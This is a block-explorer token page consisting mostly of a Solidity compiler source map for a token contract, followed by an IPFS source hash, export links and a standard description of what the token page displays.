:24;:::i;:::-;-1:-1:-1;;;;;8868:15:0;;;;;;:9;:15;;;;;;;:19;:45::i;:::-;-1:-1:-1;;;;;8850:15:0;;;;;;:9;:15;;;;;:63;8947:47;8978:15;3513:2;8978;:15;:::i;:::-;8968:25;;:6;:25;:::i;:::-;8947:9;:16;8957:2;;8960:1;8957:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8947:16:0;;;;;;;;;;;;-1:-1:-1;8947:16:0;;;:20;:47::i;:::-;8928:9;:16;8938:2;;8941:1;8938:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8928:16:0;;;;;;;;;;;;-1:-1:-1;8928:16:0;:66;9029:2;;9032:1;9029:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9014:48:0;9023:4;-1:-1:-1;;;;;9014:48:0;-1:-1:-1;;;;;;;;;;;3513:2:0;9046;:15;;;;:::i;:::-;9036:25;;:6;:25;:::i;:::-;9014:48;;1576:25:1;;;1564:2;1549:18;9014:48:0;;;;;;;8830:3;;8795:279;;;;8664:417;;;;:::o;8198:184::-;2347:7;2374:6;-1:-1:-1;;;;;2374:6:0;2066:10;8246:23;8238:32;;;;;;8310:21;8342:32;8310:21;8342:12;:32::i;:::-;8227:155;8198:184::o;8390:266::-;2347:7;2374:6;-1:-1:-1;;;;;2374:6:0;2066:10;8494:23;8486:32;;;;;;8534:9;8529:120;8549:13;;;8529:120;;;8604:2;;8607:1;8604:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8589:48:0;8598:4;-1:-1:-1;;;;;8589:48:0;-1:-1:-1;;;;;;;;;;;3513:2:0;8621;:15;;;;:::i;:::-;8611:25;;:6;:25;:::i;:::-;8589:48;;1576:25:1;;;1564:2;1549:18;8589:48:0;;;;;;;8564:3;;8529:120;;5410:232;5524:4;2066:10;5585:27;2066:10;5602:2;5606:5;5585:9;:27::i;9089:85::-;2260:13;:11;:13::i;:::-;9155:11:::1;::::0;;-1:-1:-1;;9140:26:0;::::1;9155:11;::::0;;::::1;9154:12;9140:26;::::0;;9089:85::o;7260:369::-;-1:-1:-1;;;;;7387:19:0;;7379:68;;;;-1:-1:-1;;;7379:68:0;;5576:2:1;7379:68:0;;;5558:21:1;5615:2;5595:18;;;5588:30;5654:34;5634:18;;;5627:62;-1:-1:-1;;;5705:18:1;;;5698:34;5749:19;;7379:68:0;;;;;;;;;-1:-1:-1;;;;;7466:21:0;;7458:68;;;;-1:-1:-1;;;7458:68:0;;5981:2:1;7458:68:0;;;5963:21:1;6020:2;6000:18;;;5993:30;6059:34;6039:18;;;6032:62;-1:-1:-1;;;6110:18:1;;;6103:32;6152:19;;7458:68:0;5779:398:1;7458:68:0;-1:-1:-1;;;;;7537:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7589:32;;1576:25:1;;;7589:32:0;;1549:18:1;7589:32:0;;;;;;;7260:369;;;:::o;6011:1040::-;-1:-1:-1;;;;;6100:18:0;;6092:68;;;;-1:-1:-1;;;6092:68:0;;6384:2:1;6092:68:0;;;6366:21:1;6423:2;6403:18;;;6396:30;6462:34;6442:18;;;6435:62;-1:-1:-1;;;6513:18:1;;;6506:35;6558:19;;6092:68:0;6182:401:1;6092:68:0;-1:-1:-1;;;;;6179:16:0;;6171:64;;;;-1:-1:-1;;;6171:64:0;;6790:2:1;6171:64:0;;;6772:21:1;6829:2;6809:18;;;6802:30;6868:34;6848:18;;;6841:62;-1:-1:-1;;;6919:18:1;;;6912:33;6962:19;;6171:64:0;6588:399:1;6171:64:0;6273:6;6254:15;6264:4;-1:-1:-1;;;;;5167:18:0;5135:7;5167:18;;;:9;:18;;;;;;;5016:177;6254:15;:25;;6246:76;;;;-1:-1:-1;;;6246:76:0;;7194:2:1;6246:76:0;;;7176:21:1;7233:2;7213:18;;;7206:30;7272:34;7252:18;;;7245:62;-1:-1:-1;;;7323:18:1;;;7316:36;7369:19;;6246:76:0;6992:402:1;6246:76:0;-1:-1:-1;;;;;6371:22:0;;6333:17;6371:22;;;:16;:22;;;;;;;;6370:23;:48;;;;-1:-1:-1;;;;;;6398:20:0;;;;;;:16;:20;;;;;;;;6397:21;6370:48;6367:331;;;6443:11;;;;6435:53;;;;-1:-1:-1;;;6435:53:0;;7601:2:1;6435:53:0;;;7583:21:1;7640:2;7620:18;;;7613:30;7679:31;7659:18;;;7652:59;7728:18;;6435:53:0;7399:353:1;6435:53:0;6539:3;6524:12;;6515:6;:21;;;;:::i;:::-;:27;;;;:::i;:::-;6566:13;;6503:39;;-1:-1:-1;;;;;;6566:13:0;;;;;;6560:19;;;;6557:130;;6637:3;6621:13;;6612:6;:22;;;;:::i;:::-;:28;;;;:::i;:::-;6600:40;;6659:12;6666:4;6659:6;:12::i;:::-;6713:13;;6710:164;;6786:4;6768:24;;;;:9;:24;;;;;;:34;;6793:9;;6768:34;:::i;:::-;6761:4;6743:24;;;;:9;:24;;;;;;;:59;;;;6822:40;;-1:-1:-1;;;;;6822:40:0;;;-1:-1:-1;;;;;;;;;;;6822:40:0;;;6852:9;1576:25:1;;1564:2;1549:18;;1430:177;6822:40:0;;;;;;;;6710:164;6921:6;6903:15;6913:4;-1:-1:-1;;;;;5167:18:0;5135:7;5167:18;;;:9;:18;;;;;;;5016:177;6903:15;:24;;;;:::i;:::-;-1:-1:-1;;;;;6886:15:0;;;;;;:9;:15;;;;;:41;6970:18;6979:9;6970:6;:18;:::i;:::-;-1:-1:-1;;;;;6953:13:0;;;;;;:9;:13;;;;;;:36;;;;:::i;:::-;-1:-1:-1;;;;;6939:13:0;;;;;;;:9;:13;;;;;:50;;;;7005:38;;-1:-1:-1;;;;;;;;;;;7024:18:0;7033:9;7024:6;:18;:::i;:::-;7005:38;;1576:25:1;;;1564:2;1549:18;7005:38:0;;;;;;;6081:970;6011:1040;;;:::o;2942:123::-;3000:7;3032:1;3027;:6;;3020:14;;;;:::i;:::-;3052:5;3056:1;3052;:5;:::i;:::-;3045:12;2942:123;-1:-1:-1;;;2942:123:0:o;3073:147::-;3131:7;;3163:5;3167:1;3163;:5;:::i;:::-;3151:17;;3191:1;3186;:6;;3179:14;;;;:::i;8088:98::-;2347:7;2374:6;;8145:33;;-1:-1:-1;;;;;2374:6:0;;;;8145:33;;;;;8171:6;;8145:33;2347:7;8145:33;8171:6;2374;8145:33;;;;;;;;;;;;;;;;;;;;;8088:98;:::o;2396:108::-;2460:6;;-1:-1:-1;;;;;2460:6:0;2066:10;2460:22;2452:44;;;;-1:-1:-1;;;2452:44:0;;8576:2:1;2452:44:0;;;8558:21:1;8615:1;8595:18;;;8588:29;-1:-1:-1;;;8633:18:1;;;8626:39;8682:18;;2452:44:0;8374:332:1;2452:44:0;2396:108::o;7843:237::-;-1:-1:-1;;;;;5167:18:0;;7915:1;5167:18;;;:9;:18;;;;;;7899:17;7896:176;;7938:11;;;;7933:128;;7970:17;7981:5;;7970:10;:17::i;7933:128::-;8028:17;8039:5;;7710:125;7787:4;7773:11;:18;7769:59;;;7808:8;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1612:328::-;1689:6;1697;1705;1758:2;1746:9;1737:7;1733:23;1729:32;1726:52;;;1774:1;1771;1764:12;1726:52;1797:29;1816:9;1797:29;:::i;:::-;1787:39;;1845:38;1879:2;1868:9;1864:18;1845:38;:::i;:::-;1835:48;;1930:2;1919:9;1915:18;1902:32;1892:42;;1612:328;;;;;:::o;2134:757::-;2238:6;2246;2254;2262;2315:2;2303:9;2294:7;2290:23;2286:32;2283:52;;;2331:1;2328;2321:12;2283:52;2354:29;2373:9;2354:29;:::i;:::-;2344:39;;2434:2;2423:9;2419:18;2406:32;2457:18;2498:2;2490:6;2487:14;2484:34;;;2514:1;2511;2504:12;2484:34;2552:6;2541:9;2537:22;2527:32;;2597:7;2590:4;2586:2;2582:13;2578:27;2568:55;;2619:1;2616;2609:12;2568:55;2659:2;2646:16;2685:2;2677:6;2674:14;2671:34;;;2701:1;2698;2691:12;2671:34;2754:7;2749:2;2739:6;2736:1;2732:14;2728:2;2724:23;2720:32;2717:45;2714:65;;;2775:1;2772;2765:12;2714:65;2134:757;;2806:2;2798:11;;;;;-1:-1:-1;2828:6:1;;2881:2;2866:18;2853:32;;-1:-1:-1;2134:757:1;-1:-1:-1;;;2134:757:1:o;2896:186::-;2955:6;3008:2;2996:9;2987:7;2983:23;2979:32;2976:52;;;3024:1;3021;3014:12;2976:52;3047:29;3066:9;3047:29;:::i;3295:260::-;3363:6;3371;3424:2;3412:9;3403:7;3399:23;3395:32;3392:52;;;3440:1;3437;3430:12;3392:52;3463:29;3482:9;3463:29;:::i;:::-;3453:39;;3511:38;3545:2;3534:9;3530:18;3511:38;:::i;:::-;3501:48;;3295:260;;;;;:::o;3560:127::-;3621:10;3616:3;3612:20;3609:1;3602:31;3652:4;3649:1;3642:15;3676:4;3673:1;3666:15;3692:416;3781:1;3818:5;3781:1;3832:270;3853:7;3843:8;3840:21;3832:270;;;3912:4;3908:1;3904:6;3900:17;3894:4;3891:27;3888:53;;;3921:18;;:::i;:::-;3971:7;3961:8;3957:22;3954:55;;;3991:16;;;;3954:55;4070:22;;;;4030:15;;;;3832:270;;;3836:3;3692:416;;;;;:::o;4113:806::-;4162:5;4192:8;4182:80;;-1:-1:-1;4233:1:1;4247:5;;4182:80;4281:4;4271:76;;-1:-1:-1;4318:1:1;4332:5;;4271:76;4363:4;4381:1;4376:59;;;;4449:1;4444:130;;;;4356:218;;4376:59;4406:1;4397:10;;4420:5;;;4444:130;4481:3;4471:8;4468:17;4465:43;;;4488:18;;:::i;:::-;-1:-1:-1;;4544:1:1;4530:16;;4559:5;;4356:218;;4658:2;4648:8;4645:16;4639:3;4633:4;4630:13;4626:36;4620:2;4610:8;4607:16;4602:2;4596:4;4593:12;4589:35;4586:77;4583:159;;;-1:-1:-1;4695:19:1;;;4727:5;;4583:159;4774:34;4799:8;4793:4;4774:34;:::i;:::-;4844:6;4840:1;4836:6;4832:19;4823:7;4820:32;4817:58;;;4855:18;;:::i;:::-;4893:20;;4113:806;-1:-1:-1;;;4113:806:1:o;4924:140::-;4982:5;5011:47;5052:4;5042:8;5038:19;5032:4;5011:47;:::i;5069:168::-;5142:9;;;5173;;5190:15;;;5184:22;;5170:37;5160:71;;5211:18;;:::i;5242:127::-;5303:10;5298:3;5294:20;5291:1;5284:31;5334:4;5331:1;5324:15;5358:4;5355:1;5348:15;7757:217;7797:1;7823;7813:132;;7867:10;7862:3;7858:20;7855:1;7848:31;7902:4;7899:1;7892:15;7930:4;7927:1;7920:15;7813:132;-1:-1:-1;7959:9:1;;7757:217::o;7979:125::-;8044:9;;;8065:10;;;8062:36;;;8078:18;;:::i;8109:128::-;8176:9;;;8197:11;;;8194:37;;;8211:18;;:::i;8242:127::-;8303:10;8298:3;8294:20;8291:1;8284:31;8334:4;8331:1;8324:15;8358:4;8355:1;8348:15
Swarm Source
ipfs://9e4c7b4dbb3533869ba8f02cb7ec148337ae855090472bb8ad231244c9d03bee
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.